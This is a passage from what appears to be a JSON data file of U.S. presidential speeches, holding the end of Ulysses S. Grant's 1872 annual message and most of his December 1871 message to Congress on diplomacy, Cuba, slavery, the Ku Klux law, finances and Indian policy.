attended the sessions\nof the congress. Their report shall in due season be laid before you. This\ncongress meets at intervals of about three years, and has held its sessions\nin several of the countries of Europe. I submit to your consideration the\npropriety of extending an invitation to the congress to hold its next\nmeeting in the United States. The Centennial Celebration to be held in 1876\nwould afford an appropriate occasion for such meeting.Preparations are making for the international exposition to be held during\nthe next year in Vienna, on a scale of very great magnitude. The tendency\nof these expositions is in the direction of advanced civilization, and of\nthe elevation of industry and of labor, and of the increase of human\nhappiness, as well as of greater intercourse and good will between nations.\nAs this exposition is to be the first which will have been held in eastern\nEurope, it is believed that American inventors and manufacturers will be\nready to avail themselves of the opportunity for the presentation of their\nproductions if encouraged by proper aid and protection.At the last session of Congress authority was given for the appointment of\none or more agents to represent this Government at the exposition. The\nauthority thus given has been exercised, but, in the absence of any\nappropriation, there is danger that the important benefits which the\noccasion offers will in a large degree be lost to citizens of the United\nStates. I commend the subject strongly to your consideration, and recommend\nthat an adequate appropriation be made for the purpose.To further aid American exhibitors at the Vienna Exposition, I would\nrecommend, in addition to an appropriation of money, that the Secretary of\nthe Navy be authorized to fit up two naval vessels to transport between our\nAtlantic cities and Trieste, or the most convenient port to Vienna, and\nback, their articles for exhibition.Since your last session the President of the Mexican Republic,\ndistinguished by his high character and by his services to his country, has\ndied. His temporary successor has now been elected with great unanimity by\nthe people a proof of confidence on their part in his patriotism and wisdom\nwhich it is believed will be confirmed by the results of his\nadministration. It is particularly desirable that nothing should be left\nundone by the Government of either Republic to strengthen their relations\nas neighbors and friends.It is much to be regretted that many lawless acts continue to disturb the\nquiet of the settlements on the border between our territory and that of\nMexico, and that complaints of wrongs to American citizens in various parts\nof the country are made. The revolutionary condition in which the\nneighboring Republic has so long been involved has in some degree\ncontributed to this disturbance. It is to be hoped that with a more settled\nrule of order through the Republic, which may be expected from the present\nGovernment, the acts of which just complaint is made will cease.The proceedings of the commission under the convention with Mexico of the\n4th of July, 1868, on the subject of claims, have, unfortunately, been\nchecked by an obstacle, for the removal of which measures have been taken\nby the two Governments which it is believed will prove successful.The commissioners appointed, pursuant to the joint resolution of Congress\nof the 7th of May last, to inquire into depredations on the Texan frontier\nhave diligently made investigations in that quarter. Their report upon the\nsubject will be communicated to you. Their researches were necessarily\nincomplete, partly on account of the limited appropriation made by\nCongress. Mexico, on the part of that Government, has appointed a similar\ncommission to investigate these outrages. It is not announced officially,\nbut the press of that country states that the fullest investigation is\ndesired, and that the cooperation of all parties concerned is invited to\nsecure that end. I therefore recommend that a special appropriation be made\nat the earliest day practicable, to enable the commissioners on the part of\nthe United States to return to their labors without delay.It is with regret that I have again to announce a continuance of the\ndisturbed condition of the island of Cuba. No advance toward the\npacification of the discontented part of the population has been made.\nWhile the insurrection has gained no advantages and exhibits no more of the\nelements of power or of the prospects of ultimate success than were\nexhibited a year ago, Spain, on the other hand, has not succeeded in its\nrepression, and the parties stand apparently in the same relative attitude\nwhich they have occupied for a long time past.This contest has lasted now for more than four years. Were its scene at a\ndistance from our neighborhood, we might be indifferent to its result,\nalthough humanity could not be unmoved by many of its incidents wherever\nthey might occur. It is, however, at our door.I can not doubt that the continued maintenance of slavery in Cuba is among\nthe strongest inducements to the continuance of this strife. A terrible\nwrong is the natural cause of a terrible evil. The abolition of slavery and\nthe introduction of other reforms in the administration of government in\nCuba could not fail to advance the restoration of peace and order. It is\ngreatly to be hoped that the present liberal Government of Spain will\nvoluntarily adopt this view.The law of emancipation, which was passed more than two years since, has\nremained unexecuted in the absence of regulations for its enforcement. It\nwas but a feeble step toward emancipation, but it was the recognition of\nright, and was hailed as such, and exhibited Spain in harmony with\nsentiments of humanity and of justice and in sympathy with the other powers\nof the Christian and civilized world.Within the past few weeks the regulations for carrying out the law of\nemancipation have been announced, giving evidence of the sincerity of\nintention of the present Government to carry into effect the law of 1870. I\nhave not failed to urge the consideration of the wisdom, the policy, and\nthe justice of a more effective system for the abolition of the great evil\nwhich oppresses a race and continues a bloody and destructive contest close\nto our border, as well as the expediency and the justice of conceding\nreforms of which the propriety is not questioned.Deeply impressed with the conviction that the continuance of slavery is one\nof the most active causes of the continuance of the unhappy condition in\nCuba, I regret to believe that citizens of the United States, or those\nclaiming to be such, are large holders in Cuba of what is there claimed as\nproperty, but which is forbidden and denounced by the laws of the United\nStates. They are thus, in defiance of the spirit of our own laws,\ncontributing to the continuance of this distressing and sickening contest.\nIn my last annual message I referred to this subject, and I again recommend\nsuch legislation as may be proper to denounce, and, if not prevent, at\nleast to discourage American citizens from holding or dealing in slaves.It is gratifying to announce that the ratifications of the convention\nconcluded under the auspices of this Government between Spain on the one\npart and the allied Republics of the Pacific on the other, providing for an\narmistice, have been exchanged. A copy of the instrument is herewith\nsubmitted. It is hoped that this may be followed by a permanent peace\nbetween the same parties.The differences which at one time threatened the maintenance of peace\nbetween Brazil and the Argentine Republic it is hoped are in the way of\nsatisfactory adjustment.With these States, as with the Republics of Central and of South America,\nwe continue to maintain the most friendly relations.It is with regret, however, I announce that the Government of Venezuela has\nmade no further payments on account of the awards under the convention of\nthe 25th of April, 1866. That Republic is understood to be now almost, if\nnot quite, tranquilized. It is hoped, therefore, that it will lose no time\nin providing for the unpaid balance of its debt to the United States,\nwhich, having originated in injuries to our citizens by Venezuelan\nauthorities, and having been acknowledged, pursuant to a treaty, in the\nmost solemn form known among nations, would seem to deserve a preference\nover debts of a different origin and contracted in a different manner. This\nsubject is again recommended to the attention of Congress for such action\nas may be deemed proper.Our treaty relations with Japan remain unchanged. An imposing embassy from\nthat interesting and progressive nation visited this country during the\nyear that is passing, but, being unprovided with powers for the signing of\na convention in this country, no conclusion in that direction was reached.\nIt is hoped, however, that the interchange of opinions which took place\nduring their stay in this country has led to a mutual appreciation of the\ninterests which may be promoted when the revision of the existing treaty\nshall be undertaken.In this connection I renew my recommendation of one year ago, that--To give importance to and to add to the efficiency of our diplomatic\nrelations with Japan and China, and to further aid in retaining the good\nopinion of those peoples, and to secure to the United States its share of\nthe commerce destined to flow between those nations and the balance of the\ncommercial world, an appropriation be made to support at least four\nAmerican youths in each of those countries, to serve as a part of the\nofficial family of our ministers there. Our representatives would not even\nthen be placed upon an equality with the representatives of Great Britain\nand of some other powers. As now situated, our representatives in Japan and\nChina have to depend for interpreters and translators upon natives of those\ncountries, who know our language imperfectly, or procure for the occasion\nthe services of employees in foreign business houses or the interpreters to\nother foreign ministers.I renew the recommendation made on a previous occasion, of the transfer to\nthe Department of the Interior, to which they seem more appropriately to\nbelong, of all the powers and duties in relation to the Territories with\nwhich the Department of State is now charged by law or by custom.Congress from the beginning of the Government has wisely made provision for\nthe relief of distressed seamen in foreign countries. No similar provision,\nhowever, has hitherto been made for the relief of citizens in distress\nabroad other than seamen. It is understood to be customary with other\ngovernments to authorize consuls to extend such relief to their citizens or\nsubjects in certain cases. A similar authority and an appropriation to\ncarry it into effect are recommended in the case of citizens of the United\nStates destitute or sick under such circumstances. It is well known that\nsuch citizens resort to foreign countries in great numbers. Though most of\nthem are able to bear the expenses incident to locomotion, there are some\nwho, through accident or otherwise, become penniless, and have no friends\nat home able to succor them. Persons in this situation must either perish,\ncast themselves upon the charity of foreigners, or be relieved at the\nprivate charge of our own officers, who usually, even with the most\nbenevolent dispositions, have nothing to spare for such purposes.Should the authority and appropriation asked for be granted, care will be\ntaken so to carry the beneficence of Congress into effect that it shall not\nbe unnecessarily or unworthily bestowed. TREASURY.The moneys received and covered into the Treasury during the fiscal year\nended June 30, 1872, were:From customs - $216,370,286.77From sales of public lands - 2,575,714.19From internal revenue - 130,642,177.72From tax on national-bank circulation, etc - 6,523,396.39From Pacific railway companies - 749,861.87From customs fines, etc - 1,136,442.34From fees--consular, patent, lands, etc - 2,284,095.92From miscellaneous - 412,254.71 -", 
+    "name": "Ulysses S. Grant"
+}
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+{
+    "date": "December 4, 1871", 
+    "speech": "To the Senate and House of Representatives:In addressing my third annual message to the law-making branch of the\nGovernment it is gratifying to be able to state that during the past year\nsuccess has generally attended the effort to execute all laws found upon\nthe statute books. The policy has been not to inquire into the wisdom of\nlaws already enacted, but to learn their spirit and intent and to enforce\nthem accordingly.The past year has, under a wise Providence, been one of general prosperity\nto the nation. It has, however, been attended with more than usual\nchastisements in the loss of life and property by storm and fire. These\ndisasters have served to call forth the best elements of human nature in\nour country and to develop a friendship for us on the part of foreign\nnations which goes far toward alleviating the distresses occasioned by\nthese calamities. The benevolent, who have so generously shared their means\nwith the victims of these misfortunes, will reap their reward in the\nconsciousness of having performed a noble act and in receiving the grateful\nthanks of men, women, and children whose sufferings they have relieved.The relations of the United States with foreign powers continue to be\nfriendly. The year has been an eventful one in witnessing two great\nnations, speaking one language and having one lineage, settling by peaceful\narbitration disputes of long standing and liable at any time to bring those\nnations into bloody and costly conflict. An example has thus been set\nwhich, if successful in its final issue, may be followed by other civilized\nnations, and finally be the means of returning to productive industry\nmillions of men now maintained to settle the disputes of nations by the\nbayonet and the broadside.I transmit herewith a copy of the treaty alluded to, which has been\nconcluded since the adjournment of Congress with Her Britannic Majesty, and\na copy of the protocols of the conferences of the commissioners by whom it\nwas negotiated. This treaty provides methods for adjusting the questions\npending between the two nations.Various questions are to be adjusted by arbitration. I recommend Congress\nat an early day to make the necessary provision for the tribunal at Geneva\nand for the several commissioners on the part of the United States called\nfor by the treaty.His Majesty the King of Italy, the President of the Swiss Confederation,\nand His Majesty the Emperor of Brazil have each consented, on the joint\nrequest of the two powers, to name an arbiter for the tribunal at Geneva. I\nhave caused my thanks to be suitably expressed for the readiness with which\nthe joint request has been complied with, by the appointment of gentlemen\nof eminence and learning to these important positions.His Majesty the Emperor of Germany has been pleased to comply with the\njoint request of the two Governments, and has consented to act as the\narbitrator of the disputed water boundary between the United States and\nGreat Britain.The contracting parties in the treaty have undertaken to regard as between\nthemselves certain principles of public law, for which the United States\nhave contended from the commencement of their history. They have also\nagreed to bring those principles to the knowledge of the other maritime\npowers and to invite them to accede to them. Negotiations are going on as\nto the form of the note by which the invitation is to be extended to the\nother powers.I recommend the legislation necessary on the part of the United States to\nbring into operation the articles of the treaty relating to the fisheries\nand to the other matters touching the relations of the United States toward\nthe British North American possessions, to become operative so soon as the\nproper legislation shall be had on the part of Great Britain and its\npossessions. It is much to be desired that this legislation may become\noperative before the fishermen of the United States begin to make their\narrangements for the coming season.I have addressed a communication, of which a copy is transmitted herewith,\nto the governors of New York, Pennsylvania, Ohio, Indiana, Michigan,\nIllinois, and Wisconsin, urging upon the governments of those States,\nrespectively, the necessary action on their part to carry into effect the\nobject of the article of the treaty which contemplates the use of the\ncanals, on either side, connected with the navigation of the lakes and\nrivers forming the boundary, on terms of equality, by the inhabitants of\nboth countries. It is hoped that the importance of the object and the\nbenefits to flow therefrom will secure the speedy approval and legislative\nsanction of the States concerned.I renew the recommendation for an appropriation for determining the true\nposition of the forty-ninth parallel of latitude where it forms the\nboundary between the United States and the British North American\npossessions, between the Lake of the Woods and the summit of the Rocky\nMountains. The early action of Congress on this recommendation would put it\nin the power of the War Department to place a force in the field during the\nnext summer.The resumption of diplomatic relations between France and Germany has\nenabled me to give directions for the withdrawal of the protection extended\nto Germans in France by the diplomatic and consular representatives of the\nUnited States in that country. It is just to add that the delicate duty of\nthis protection has been performed by the minister and the consul-general\nat Paris, and the various consuls in France under the supervision of the\nlatter, with great kindness as well as with prudence and tact. Their course\nhas received the commendation of the German Government, and has wounded no\nsusceptibility of the French.The Government of the Emperor of Germany continues to manifest a friendly\nfeeling toward the United States, and a desire to harmonize with the\nmoderate and just policy which this Government maintains in its relations\nwith Asiatic powers, as well as with the South American Republics. I have\ngiven assurances that the friendly feelings of that Government are fully\nshared by the United States.The ratifications of the consular and naturalization conventions with the\nAustro-Hungarian Empire have been exchanged.I have been officially informed of the annexation of the States of the\nChurch to the Kingdom of Italy, and the removal of the capital of that\nKingdom to Rome. In conformity with the established policy of the United\nStates, I have recognized this change. The ratifications of the new treaty\nof commerce between the United States and Italy have been exchanged. The\ntwo powers have agreed in this treaty that private property at sea shall be\nexempt from capture in case of war between the two powers. The United\nStates have spared no opportunity of incorporating this rule into the\nobligation of nations.The Forty-first Congress, at its third session, made an appropriation for\nthe organization of a mixed commission for adjudicating upon the claims of\ncitizens of the United States against Spain growing out of the insurrection\nin Cuba. That commission has since been organized. I transmit herewith the\ncorrespondence relating to its formation and its jurisdiction. It is to be\nhoped that this commission will afford the claimants a complete remedy for\ntheir injuries.It has been made the agreeable duty of the United States to preside over a\nconference at Washington between the plenipotentiaries of Spain and the\nallied South American Republics, which has resulted in an armistice, with\nthe reasonable assurance of a permanent peace.The intimate friendly relations which have so long existed between the\nUnited States and Russia continue undisturbed. The visit of the third son\nof the Emperor is a proof that there is no desire on the part of his\nGovernment to diminish the cordiality of those relations. The hospitable\nreception which has been given to the Grand Duke is a proof that on our\nside we share the wishes of that Government. The inexcusable course of the\nRussian minister at Washington rendered it necessary to ask his recall and\nto decline to longer receive that functionary as a diplomatic\nrepresentative. It was impossible, with self-respect or with a just regard\nto the dignity of the country, to permit Mr. Catacazy to continue to hold\nintercourse with this Government after his personal abuse of Government\nofficials, and during his persistent interferences, through various means,\nwith the relations between the United States and other powers. In\naccordance with my wishes, this Government has been relieved of further\nintercourse with Mr. Catacazy, and the management of the affairs of the\nimperial legation has passed into the hands of a gentleman entirely\nunobjectionable.With Japan we continue to maintain intimate relations. The cabinet of the\nMikado has since the close of the last session of Congress selected\ncitizens of the United States to serve in offices of importance in several\ndepartments of Government. I have reason to think that this selection is\ndue to an appreciation of the disinterestedness of the policy which the\nUnited States have pursued toward Japan. It is our desire to continue to\nmaintain this disinterested and just policy with China as well as Japan.\nThe correspondence transmitted herewith shows that there is no disposition\non the part of this Government to swerve from its established course.Prompted by a desire to put an end to the barbarous treatment of our\nshipwrecked sailors on the Korean coast, I instructed our minister at\nPeking to endeavor to conclude a convention with Korea for securing the\nsafety and humane treatment of such mariners.Admiral Rodgers was instructed to accompany him with a sufficient force to\nprotect him in case of need.A small surveying party sent out, on reaching the coast was treacherously\nattacked at a disadvantage. Ample opportunity was given for explanation and\napology for the insult. Neither came. A force was then landed. After an\narduous march over a rugged and difficult country, the forts from which the\noutrages had been committed were reduced by a gallant assault and were\ndestroyed. Having thus punished the criminals, and having vindicated the\nhonor of the flag, the expedition returned, finding it impracticable under\nthe circumstances to conclude the desired convention. I respectfully refer\nto the correspondence relating thereto, herewith submitted, and leave the\nsubject for such action as Congress may see fit to take.The Republic of Mexico has not yet repealed the very objectionable laws\nestablishing what is known as the \"free zone\" on the frontier of the United\nStates. It is hoped that this may yet be done, and also that more stringent\nmeasures may be taken by that Republic for restraining lawless persons on\nits frontiers. I hope that Mexico by its own action will soon relieve this\nGovernment of the difficulties experienced from these causes.Our relations with the various Republics of Central and South America\ncontinue, with one exception, to be cordial and friendly.I recommend some action by Congress regarding the overdue installments\nunder the award of the Venezuelan Claims Commission of 1866. The internal\ndissensions of this Government present no justification for the absence of\neffort to meet their solemn treaty obligations.The ratification of an extradition treaty with Nicaragua has been\nexchanged.It is a subject for congratulation that the great Empire of Brazil has\ntaken the initiatory step toward the abolition of slavery. Our relations\nwith that Empire, always cordial, will naturally be made more so by this\nact. It is not too much to hope that the Government of Brazil may hereafter\nfind it for its interest, as well as intrinsically right, to advance toward\nentire emancipation more rapidly than the present act contemplates.The true prosperity and greatness of a nation is to be found in the\nelevation and education of its laborers.It is a subject for regret that the reforms in this direction which were\nvoluntarily promised by the statesmen of Spain have not been carried out in\nits West India colonies. The laws and regulations for the apparent\nabolition of slavery in Cuba and Porto Rico leave most of the laborers in\nbondage, with no hope of release until their lives become a burden to their\nemployers.I desire to direct your attention to the fact that citizens of the United\nStates, or persons claiming to be citizens of the United States, are large\nholders in foreign lands of this species of property, forbidden by the\nfundamental law of their alleged country. I recommend to Congress to\nprovide by stringent legislation a suitable remedy against the holding,\nowning or dealing in slaves, or being interested in slave property, in\nforeign lands, either as owners, hirers, or mortgagors, by citizens of the\nUnited States.It is to be regretted that the disturbed condition of the island of Cuba\ncontinues to be a source of annoyance and of anxiety. The existence of a\nprotracted struggle in such close proximity to our own territory, without\napparent prospect of an early termination, can not be other than an object\nof concern to a people who, while abstaining from interference in the\naffairs of other powers, naturally desire to see every country in the\nundisturbed enjoyment of peace, liberty, and the blessings of free\ninstitutions.Our naval commanders in Cuban waters have been instructed, in case it\nshould become necessary, to spare no effort to protect the lives and\nproperty of bona fide American citizens and to maintain the dignity of the\nflag.It is hoped that all pending questions with Spain growing out of the\naffairs in Cuba may be adjusted in the spirit of peace and conciliation\nwhich has hitherto guided the two powers in their treatment of such\nquestions.To give importance to and to add to the efficiency of our diplomatic\nrelations with Japan and China, and to further aid in retaining the good\nopinion of those peoples, and to secure to the United States its share of\nthe commerce destined to flow between those nations and the balance of the\ncommercial world, I earnestly recommend that an appropriation be made to\nsupport at least four American youths in each of those countries, to serve\nas a part of the official family of our ministers there. Our\nrepresentatives would not even then be placed upon an equality with the\nrepresentatives of Great Britain and of some other powers. As now situated,\nour representatives in Japan and China have to depend for interpreters and\ntranslators upon natives of those countries who know our language\nimperfectly, or procure for the occasion the services of employees in\nforeign business houses or the interpreters to other foreign ministers.I would also recommend liberal measures for the purpose of supporting the\nAmerican lines of steamers now plying between San Francisco and Japan and\nChina, and the Australian line--almost our only remaining lines of ocean\nsteamers--and of increasing their services.The national debt has been reduced to the extent of $86,057, 126.80 during\nthe year, and by the negotiation of national bonds at a lower rate of\ninterest the interest on the public debt has been so far diminished that\nnow the sum to be raised for the interest account is nearly $17,000,000\nless than on the 1st of March, 1869. It was highly desirable that this\nrapid diminution should take place, both to strengthen the credit of the\ncountry and to convince its citizens of their entire ability to meet every\ndollar of liability without bankrupting them. But in view of the\naccomplishment of these desirable ends: of the rapid development of the\nresources of the country; its increasing ability to meet large demands, and\nthe amount already paid, it is not desirable that the present resources of\nthe country should continue to be taxed in order to continue this rapid\npayment. I therefore recommend a modification of both the tariff and\ninternal-tax law. I recommend that all taxes from internal sources be\nabolished, except those collected from spirituous, vinous, and malt\nliquors, tobacco in its various forms, and from stamps.In readjusting the tariff I suggest that a careful estimate be made of the\namount of surplus revenue collected under the present laws, after providing\nfor the current expenses of the Government, the interest count, and a\nsinking fund, and that this surplus be reduced in such a manner as to\nafford the greatest relief to the greatest number. There are many articles\nnot produced at home, but which enter largely into general consumption\nthrough articles which are manufactured at home, such as medicines\ncompounded, etc., etc., from which very little revenue is derived, but\nwhich enter into general use. All such articles I recommend to be placed on\nthe \"free list.\" Should a further reduction prove advisable, I would then\nrecommend that it be made upon those articles which can best bear it\nwithout disturbing home production or reducing the wages of American\nlabor.I have not entered into figures, because to do so would be to repeat what\nwill be laid before you in the report of the Secretary of the Treasury. The\npresent laws for collecting revenue pay collectors of customs small\nsalaries, but provide for moieties (shares in all seizures), which, at\nprincipal ports of entry particularly, raise the compensation of those\nofficials to a large sum. It has always seemed to me as if this system must\nat times work perniciously. It holds out an inducement to dishonest men,\nshould such get possession of those offices, to be lax in their scrutiny of\ngoods entered, to enable them finally to make large seizures. Your\nattention is respectfully invited to this subject.Continued fluctuations in the value of gold, as compared with the national\ncurrency, has a most damaging effect upon the increase and development of\nthe country, in keeping up prices of all articles necessary in everyday\nlife. It fosters a spirit of gambling, prejudicial alike to national morals\nand the national finances. If the question can be met as to how to get a\nfixed value to our currency, that value constantly and uniformly\napproaching par with specie, a very desirable object will be gained.For the operations of the Army in the past year, the expense of maintaining\nit, the estimate for the ensuing year, and for continuing seacoast and\nother improvements conducted under the supervision of the War Department, I\nrefer you to the accompanying report of the Secretary of War.I call your attention to the provisions of the act of Congress approved\nMarch 3, 1869, which discontinues promotions in the staff corps of the Army\nuntil provided for by law. I recommend that the number of officers in each\ngrade in the staff corps be fixed, and that whenever the number in any one\ngrade falls below the number so fixed, that the vacancy may be filled by\npromotion from the grade below. I also recommend that when the office of\nchief of a corps becomes vacant the place may be filled by selection from\nthe corps in which the vacancy exists.The report of the Secretary of the Navy shows an improvement in the number\nand efficiency of the naval force, without material increase in the expense\nof supporting it. This is due to the policy which has been adopted, and is\nbeing extended as fast as our material will admit, of using smaller vessels\nas cruisers on the several stations. By this means we have been enabled to\noccupy at once a larger extent of cruising grounds, to visit more\nfrequently the ports where the presence of our flag is desirable, and\ngenerally to discharge more efficiently the appropriate duties of the Navy\nin time of peace, without exceeding the number of men or the expenditure\nauthorized by law.During the past year the Navy has, in addition to its regular service,\nsupplied the men and officers for the vessels of the Coast Survey, and has\ncompleted the surveys authorized by Congress of the isthmuses of Darien and\nTehuantepec, and, under like authority, has sent out an expedition,\ncompletely furnished and equipped, to explore the unknown ocean of the\nnorth.The suggestions of the report as to the necessity for increasing and\nimproving the materiel of the Navy, and the plan recommended for reducing\nthe personnel of the service to a peace standard, by the gradual abolition\nof certain grades of officers, the reduction of others, and the employment\nof some in the service of the commercial marine, are well considered and\ndeserve the thoughtful attention of Congress.I also recommend that all promotions in the Navy above the rank of captain\nbe by selection instead of by seniority. This course will secure in the\nhigher grades greater efficiency and hold out an incentive to young\nofficers to improve themselves in the knowledge of their profession.The present cost of maintaining the Navy, its cost compared with that of\nthe preceding year, and the estimates for the ensuing year are contained in\nthe accompanying report of the Secretary of the Navy.The enlarged receipts of the Post-Office Department, as shown by the\naccompanying report of the Postmaster-General, exhibit a gratifying\nincrease in that branch of the public service. It is the index of the\ngrowth of education and of the prosperity of the people, two elements\nhighly conducive to the vigor and stability of republics. With a vast\nterritory like ours, much of it sparsely populated, but all requiring the\nservices of the mail, it is not at present to be expected that this\nDepartment can be made self-sustaining. But a gradual approach to this end\nfrom year to year is confidently relied on, and the day is not far distant\nwhen the Post-Office Department of the Government will prove a much greater\nblessing to the whole people than it is now.The suggestions of the Postmaster-General for improvements in the\nDepartment presided over by him are earnestly recommended to you, special\nattention. Especially do I recommend favorable consideration of the plan\nfor uniting the telegraphic system of the United States with the postal\nsystem. It is believed that by such a course the cost of telegraphing could\nbe much reduced, and the service as well, if not better, rendered. It would\nsecure the further advantage of extending the telegraph through portions of\nthe country where private enterprise will not construct it. Commerce,\ntrade, and, above all, the efforts to bring a people widely separated into\na community of interest are always benefited by a rapid intercommunication.\nEducation, the groundwork of republican institutions, is encouraged by\nincreasing the facilities to gather speedy news from all parts of the\ncountry. The desire to reap the benefit of such improvements will stimulate\neducation. I refer you to the report of the Postmaster-General for full\ndetails of the operations of last year and for comparative statements of\nresults with former years.There has been imposed upon the executive branch of the Government the\nexecution of the act of Congress approved April 20, 1871, and commonly\nknown as the Kuklux law, in a portion of the State of South Carolina. The\nnecessity of the course pursued will be demonstrated by the report of the\nCommittee to Investigate Southern Outrages. Under the provisions of the\nabove act I issued a proclamation calling the attention of the people of\nthe United States to the same, and declaring my reluctance to exercise any\nof the extraordinary powers thereby conferred upon me, except in case of\nimperative necessity, but making known my purpose to exercise such powers\nwhenever it should become necessary to do so for the purpose of securing to\nall citizens of the United States the peaceful enjoyment of the rights\nguaranteed to them by the Constitution and the laws.After the passage of this law information was received from time to time\nthat combinations of the character referred to in this law existed and were\npowerful in many parts of the Southern States, particularly in certain\ncounties in the State of South Carolina.Careful investigation was made, and it was ascertained that in nine\ncounties of that State such combinations were active and powerful,\nembracing a sufficient portion of the citizens to control the local\nauthority, and having, among other things, the object of depriving the\nemancipated class of the substantial benefits of freedom and of preventing\nthe free political action of those citizens who did not sympathize with\ntheir own views. Among their operations were frequent scourgings and\noccasional assassinations, generally perpetrated at night by disguised\npersons, the victims in almost all cases being citizens of different\npolitical sentiments from their own or freed persons who had shown a\ndisposition to claim equal rights with other citizens. Thousands of\ninoffensive and well disposed citizens were the sufferers by this lawless\nviolence,Thereupon, on the 12th of October, 1871, a proclamation was issued, in\nterms of the law, calling upon the members of those combinations to\ndisperse within five days and to deliver to the marshal or military\nofficers of the United States all arms, ammunition, uniforms, disguises,\nand other means and implements used by them for carrying out their unlawful\npurposes.This warning not having been heeded, on the 17th of October another\nproclamation was issued, suspending the privileges of the writ of habeas\ncorpus in nine counties in that State.Direction was given that within the counties so designated persons\nsupposed, upon creditable information, to be members of such unlawful\ncombinations should be arrested by the military forces of the United States\nand delivered to the marshal, to be dealt with according to law. In two of\nsaid counties, York and Spartanburg, many arrests have been made. At the\nlast account the number of persons thus arrested was 168. Several hundred,\nwhose criminality was ascertained to be of an inferior degree, were\nreleased for the present. These have generally made confessions of their\nguilt.Great caution has been exercised in making these arrests, and,\nnotwithstanding the large number, it is believed that no innocent person is\nnow in custody. The prisoners will be held for regular trial in the\njudicial tribunals of the United States.As soon as it appeared that the authorities of the United States were about\nto take vigorous measures to enforce the law, many persons absconded, and\nthere is good ground for supposing that all of such persons have violated\nthe law. A full report of what has been done under this law will be\nsubmitted to Congress by the Attorney-General.In Utah there still remains a remnant of barbarism, repugnant to\ncivilization, to decency, and to the laws of the United States. Territorial\nofficers, however, have been found who are willing to perform their duty in\na spirit of equity and with a due sense of the necessity of sustaining the\nmajesty of the law. Neither polygamy nor any other violation of existing\nstatutes will be permitted within the territory of the United States. It is\nnot with the religion of the self-styled Saints that we are now dealing,\nbut with their practices. They will be protected in the worship of God\naccording to the dictates of their consciences, but they will not be\npermitted to violate the laws under the cloak of religion.It may be advisable for Congress to consider what, in the execution of the\nlaws against polygamy, is to be the status of plural wives and their\noffspring. The propriety of Congress passing an enabling act authorizing\nthe Territorial legislature of Utah to legitimize all children born prior\nto a time fixed in the act might be justified by its humanity to these\ninnocent children. This is a suggestion only, and not a recommendation.The policy pursued toward the Indians has resulted favorably, so far as can\nbe judged from the limited time during which it has been in operation.\nThrough the exertions of the various societies of Christians to whom has\nbeen intrusted the execution of the policy, and the board of commissioners\nauthorized by the law of April 10, 1869, many tribes of Indians have been\ninduced to settle upon reservations, to cultivate the soil, to perform\nproductive labor of various kinds, and to partially accept civilization.\nThey are being cared for in such a way, it is hoped, as to induce those\nstill pursuing their old habits of life to embrace the only opportunity\nwhich is left them to avoid extermination.I recommend liberal appropriations to carry out the Indian peace policy,\nnot only because it is humane, Christian like, and economical, but because\nit is right.I recommend to your favorable consideration also the policy of granting a\nTerritorial government to the Indians in the Indian Territory west of\nArkansas and Missouri and south of Kansas. In doing so every right\nguaranteed to the Indian by treaty should be secured. Such a course might\nin time be the means of collecting most of the Indians now between the\nMissouri and the Pacific and south of the British possessions into one\nTerritory or one State. The Secretary of the Interior has treated upon this\nsubject at length, and I commend to you his suggestions.I renew my recommendation that the public lands be regarded as a heritage\nto our children, to be disposed of only as required for occupation and to\nactual settlers. Those already granted have been in great part disposed of\nin such a way as to secure access to the balance by the hardy settler who\nmay wish to avail himself of them, but caution should be exercised even in\nattaining so desirable an object.Educational interest may well be served by the grant of the proceeds of the\nsale of public lands to settlers. I do not wish to be understood as\nrecommending in the least degree a curtailment of what is being done by the\nGeneral Government for the encouragement of education.The report of the Secretary of the Interior submitted with this will give\nyou all the information collected and prepared for publication in regard to\nthe census taken during the year 1870; the operations of the Bureau of\nEducation for the year; the Patent Office; the Pension Office; the Land\nOffice, and the Indian Bureau.The report of the Commissioner of Agriculture gives the operations of his\nDepartment for the year. As agriculture is the groundwork of our\nprosperity, too much importance can not be attached to the labors of this\nDepartment. It is in the hands of an able head, with able assistants, all\nzealously devoted to introducing into the agricultural productions of the\nnation all useful products adapted to any of the various climates and soils\nof our vast territory, and to giving all useful information as to the\nmethod of cultivation, the plants, cereals, and other products adapted to\nparticular localities. Quietly but surely the Agricultural Bureau is\nworking a great national good, and if liberally supported the more widely\nits influence will be extended and the less dependent we shall be upon the\nproducts of foreign countries.The subject of compensation to the heads of bureaus and officials holding\npositions of responsibility, and requiring ability and character to fill\nproperly, is one to which your attention is invited. But few of the\nofficials receive a compensation equal to the respectable support of a\nfamily, while their duties are such as to involve millions of interest. In\nprivate life services demand compensation equal to the services rendered; a\nwise economy would dictate the same rule in the Government service.I have not given the estimates for the support of Government for the\nensuing year, nor the comparative statement between the expenditures for\nthe year just passed and the one just preceding, because all these figures\nare contained in the accompanying reports or in those presented directly to\nCongress. These estimates have my approval.More than six years having elapsed since the last hostile gun was fired\nbetween the armies then arrayed against each other--one for the\nperpetuation, the other for the destruction, of the Union--it may well be\nconsidered whether it is not now time that the disabilities imposed by the\nfourteenth amendment should be removed. That amendment does not exclude the\nballot, but only imposes the disability to hold offices upon certain\nclasses. When the purity of the ballot is secure, majorities are sure to\nelect officers reflecting the views of the majority. I do not see the\nadvantage or propriety of excluding men from office merely because they\nwere before the rebellion of standing and character sufficient to be\nelected to positions requiring them to take oaths to support the\nConstitution, and admitting to eligibility those entertaining precisely the\nsame views, but of less standing in their communities. It may be said that\nthe former violated an oath, while the latter did not; the latter did not\nhave it in their power to do so. If they had taken this oath, it can not be\ndoubted they would have broken it as did the former class. If there are any\ngreat criminals, distinguished above all others for the part they took in\nopposition to the Government, they might, in the judgment of Congress, be\nexcluded from such an amnesty.This subject is submitted for your careful consideration.The condition of the Southern States is, unhappily, not such as all true\npatriotic citizens would like to see. Social ostracism for opinion's sake,\npersonal violence or threats toward persons entertaining political views\nopposed to those entertained by the majority of the old citizens, prevents\nimmigration and the flow of much-needed capital into the States lately in\nrebellion. It will be a happy condition of the country when the old\ncitizens of these States will take an interest in public affairs,\npromulgate ideas honestly entertained, vote for men representing their\nviews, and tolerate the same freedom of expression and ballot in those\nentertaining different political convictions.Under the provisions of the act of Congress approved February 21, 1871, a\nTerritorial government was organized in the District of Columbia. Its\nresults have thus far fully realized the expectations of its advocates.\nUnder the direction of the Territorial officers, a system of improvements\nhas been inaugurated by means of which Washington is rapidly becoming a\ncity worthy of the nation's capital. The citizens of the District having\nvoluntarily taxed themselves to a large amount for the purpose of\ncontributing to the adornment of the seat of Government, I recommend\nliberal appropriations on the part of Congress, in order that the\nGovernment may bear its just share of the expense of carrying out a\njudicious system of improvements.By the great fire 